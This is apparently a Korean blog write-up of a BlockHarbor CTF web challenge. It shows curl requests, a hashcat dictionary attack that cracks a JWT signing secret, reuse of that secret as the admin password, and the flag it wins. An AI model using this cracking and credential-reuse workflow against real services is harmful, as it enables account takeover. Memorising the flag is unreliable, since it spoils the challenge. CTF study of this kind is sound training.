
Prob
CATEGORY : WEB
Find the princess to get the key to the hidden castle
http://celsius.blockharbor.io:5011
API Usage Instructions
To register a new user, send a POST request to /register with the following JSON data: { "username": "your_username", "email": "your_email", "password": "your_password" } Example: curl -X POST http://localhost:5000/register -H "Content-Type: application/js
celsius.blockharbor.io:5011
Solve
상기 문제 페이지에 접속하면, 문제에서 제공하는 API Usage와 cURL을 사용한 API Request Example을 확인할 수 있다.
문제를 풀어보기 위해 Example에서 제시하는 API Request를 사용하여 POST로 보내보면 하기와 같다.
gssong@cybersecurity:~$ curl -X POST http://celsius.blockharbor.io:5011/register -H "Content-Type: application/json" -d '{"username": "abc", "email": "abc@example.com", "password": "abcd1234"}'
{"msg":"User has been created to the database"}
gssong@cybersecurity:~$
User Login API를 사용하여 생성한 계정으로 로그인을 시도하면 하기와 같이 JWT 토큰을 출력한다.
gssong@cybersecurity:~$ curl -X POST http://celsius.blockharbor.io:5011/login -H "Content-Type: application/json" -d '{"
username": "example", "password": "example123"}'
{"msg":"User is logged in","token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImV4YW1wbGUiLCJlbWFpbCI6ImV4YW1wbGVAZXhhbXBsZS5jb20iLCJwYXNzd29yZCI6IiQyYiQxMCRCTnoyRUprb01CVWN2NEhVbERSenouaVZWMXozZVgwNEl1anliWWc2dlprY0ZOdzIyeFpTTyIsImlhdCI6MTcyODk2ODQ0NCwiZXhwIjoxNzI5NDAwNDQ0fQ.j102b62wigqEk7hYMtz5RlTpBmnGI2wsseL0okJHdGE"}
gssong@cybersecurity:~$
보통 CTF에서 자주 출제되는 유형 중 하나로, 해시 값을 빼내어 크랙을 해야 하는 경우가 있다. 대부분의 데이터베이스에 비밀번호가 해시 값 또는 암호화 해서 넣어 놓기 때문에 공격자 입장에서 생각했을 때, 당연한 절차이다.
보통 해시 값 크랙을 위해 john-the-ripper도 많이 쓰지만 개인적으로 많은 기능을 지원하는 hashcat을 좀 더 선호한다.
문제를 풀기 위해 hashcat에서 지원하는 기능을 살펴보자. 먼저 우리가 크랙해야 할 해시는 JWT 토큰 암호화에 사용된 해시이다. 따라서 [ Hash mode ] 리스트 중 JWT 토큰에 해당한 16500을 선택한다.
- [ Hash modes ] -
# | Name | Category
======+============================================================+======================================
900 | MD4 | Raw Hash
0 | MD5 | Raw Hash
100 | SHA1 | Raw Hash
... (중략)
16500 | JWT (JSON Web Token) | Network Protocol
... (중략)
두 번째로, 크랙을 위해 attack mode를 지정해야 하는데, 총 6가지 옵션이 있다.
- [ Attack Modes ] -
# | Mode
===+======
0 | Straight
1 | Combination
3 | Brute-force
6 | Hybrid Wordlist + Mask
7 | Hybrid Mask + Wordlist
9 | Association
여기서 풀이를 완료한 입장에서 한 가지 꿀 팁은, 무조건 Broute-force 공격을 시도하기 보다, Dictionary 공격을 먼저 시도하는 것을 권장한다. (사실 Broute-force 공격을 시도하고 안풀려서 Dictionary 공격을 수행했는데.. 바로 해석될줄은...) password crack을 위한 wordlist dictionary 파일은 조금만 검색해도 구할 수 있다.
도구 사용에 필요한 정모를 모두 수집하였으므로, 아래와 같이 hashcat을 사용하여 암호화 된 토큰의 크랙을 시도한다.
gssong@cybersecurity:~$ hashcat -m 16500 -a 0 token ./Share/dictionary.txt
hashcat (v6.2.6) starting
OpenCL API (OpenCL 3.0 PoCL 5.0+debian Linux, None+Asserts, RELOC, SPIR, LLVM 16.0.6, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
==================================================================================================================================================
* Device #1: cpu-penryn-13th Gen Intel(R) Core(TM) i7-13700H, 2914/5893 MB (1024 MB allocatable), 4MCU
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
...(중략)
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImV4YW1wbGUiLCJlbWFpbCI6ImV4YW1wbGVAZXhhbXBsZS5jb20iLCJwYXNzd29yZCI6IiQyYiQxMCRCTnoyRUprb01CVWN2NEhVbERSenouaVZWMXozZVgwNEl1anliWWc2dlprY0ZOdzIyeFpTTyIsImlhdCI6MTcyODk2ODQ0NCwiZXhwIjoxNzI5NDAwNDQ0fQ.j102b62wigqEk7hYMtz5RlTpBmnGI2wsseL0okJHdGE:princess
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 16500 (JWT (JSON Web Token))
Hash.Target......: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZS...kJHdGE
Time.Started.....: Tue Oct 15 14:30:57 2024 (0 secs)
Time.Estimated...: Tue Oct 15 14:30:57 2024 (0 secs)
Kernel.Feature...: Pure Kernel
...(중략)
복호화 해보니 princess 라고 하더라... 그래서 문제가 princess가 다른 성에 있다고 했던 것 같다.
이제 admin 계정으로 로그인을 시도해보자.
gssong@cybersecurity:~$ curl -X POST http://celsius.blockharbor.io:5011/login -H "Content-Type: application/json" -d '{"username": "admin", "password": "princess"}'
{"msg":"User is logged in","token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZW1haWwiOiJhZG1pbkBiaC5pbyIsInBhc3N3b3JkIjoiJDJiJDEwJGRQNmR3RzVKbjhDeVh2U3VYSWFHVHVwbU5SSzI2UHM2UG95bkFZU2hYczNNVUhOc0tRdFNtIiwiaWF0IjoxNzI4OTcxMjE4LCJleHAiOjE3Mjk0MDMyMTh9.59yae9qW-1eltGemLAziyO8yYbEji_OWMxnDUQWfkGE"}
gssong@cybersecurity:~$
Access Protected Resource API를 사용하여 리소스 가져오기를 시도해보자. API 파라미터로 위에서 얻은 admin의 토큰을 넣어주면 될 것 같다.
gssong@cybersecurity:~$ curl -X GET http://celsius.blockharbor.io:5011/protected -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZW1haWwiOiJhZG1pbkBiaC5pbyIsInBhc3N3b3JkIjoiJDJiJDEwJGRQNmR3RzVKbjhDeVh2U3VYSWFHVHVwbU5SSzI2UHM2UG95bkFZU2hYczNNVUhOc0tRdFNtIiwiaWF0IjoxNzI4OTcxMjE4LCJleHAiOjE3Mjk0MDMyMTh9.59yae9qW-1eltGemLAziyO8yYbEji_OWMxnDUQWfkGE"
{"message":"Welcome admin! Here's the flag: bh{cr4ck_d3m_jwts}"}
gssong@cybersecurity:~$
Flag : bh{cr4ck_d3m_jwts}
'CTF Writeup > BlockHarbor(2023)' 카테고리의 다른 글
Finding a VIN(10pt) (1) | 2024.10.16 |
---|---|
pow pow! (20pt) (0) | 2024.10.15 |
Founding Fathers (5pt) (0) | 2024.10.15 |
What is a great default password? (1pt) (0) | 2024.10.15 |
Message Frequency (5pt) (0) | 2024.10.15 |